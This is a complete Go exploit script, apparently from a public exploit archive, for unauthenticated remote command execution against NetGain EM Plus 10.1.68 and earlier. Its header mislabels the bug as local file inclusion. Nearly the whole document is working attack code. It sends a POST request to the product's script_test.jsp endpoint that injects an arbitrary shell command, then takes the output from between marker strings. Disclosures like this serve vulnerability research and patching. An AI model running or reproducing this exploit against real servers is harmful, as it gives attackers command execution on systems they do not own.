NetGain EM Plus 10.1.68 - Remote Command Execution

/********************************************************************************
# Exploit Title: NetGain EM Plus <= v10.1.68 - Unauthorized Local File Inclusion
# Date: 15 September 2019
# Exploit Author: azams / @TheRealAzams
# Vendor Homepage: http://netgain-systems.com
# Software Link: http://www.netgain-systems.com/free/
# Version: v10.1.68
# Tested on: Linux
#
# Install golang: https://golang.org/doc/install
# Compile exploit: go build exploit.go
# Run exploit without compiling: go run exploit.go
# Shouts: Rix, Channisa, Ridho7ul & Horangi!
*********************************************************************************/
package main

import (
	"crypto/tls"
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"os"
	"strings"
)

var (
	target string
	port   string
	cmd    string
)

func main() {
	for i := range os.Args {
		if os.Args[i] == "-u" {
			target = os.Args[i+1]
		} else if os.Args[i] == "-p" {
			port = os.Args[i+1]
		} else if os.Args[i] == "-cmd" {
			cmd = os.Args[i+1]
		}
	}
	if target != "" || port != "" || cmd != "" {
		cmd = "type=sh&content=%232Fbin%2Fsh%0Aecho+'0xdeadnoob'%0a" + cmd + "%0aecho+'0xdeadnoob'&args=&count=0&ip=localhost"
		status, body := exploit()
		if strings.Contains(status, "200") {
			fmt.Println("Status Code: " + status)
			result := strings.Split(body, "0xdeadnoob")
			fmt.Println("Result: \n" + strings.Trim(result[1], "\n"))
			return
		}
		fmt.Println("Exploit failed!")
	} else {
		fmt.Println("Usage: ./exploit -u http://127.0.0.1 -p 8181 -cmd 'id;'")
	}
}

func exploit() (string, string) {
	tbTransport := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}
	client := &http.Client{Transport: tbTransport}
	datas, err := url.ParseQuery(cmd)
	req, err := http.NewRequest("POST", target+":"+port+"/u/jsp/designer/script_test.jsp", strings.NewReader(datas.Encode()))
	req.Header.Set("Content-type", "application/x-www-form-urlencoded")
	resp, err := client.Do(req)
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()
	body, _ := ioutil.ReadAll(resp.Body)
	return resp.Status, string(body)
}